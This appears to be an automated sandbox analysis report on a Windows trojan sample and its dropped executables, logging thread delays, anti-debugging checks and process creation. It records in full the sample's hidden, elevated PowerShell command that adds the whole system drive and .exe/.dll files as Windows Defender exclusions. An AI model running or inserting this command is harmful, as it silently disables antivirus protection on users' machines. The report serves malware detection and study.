Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3560	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6884	Thread sleep count: 8964 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe TID: 3312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe TID: 5468	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe TID: 5468	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4468	Thread sleep count: 9036 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6316	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8009	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8964	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5985	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9036

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\MonDisc.exe

Code function: 15_2_00007FF6ED1C5754 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_00007FF6ED1C5754

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\MonDisc.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugFlags	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process queried: DebugFlags	Jump to behavior

Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Code function: 15_2_00007FF6ED1C5754 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		15_2_00007FF6ED1C5754
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1D7BFC4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		25_2_00007FF6B1D7BFC4

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MonDisc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
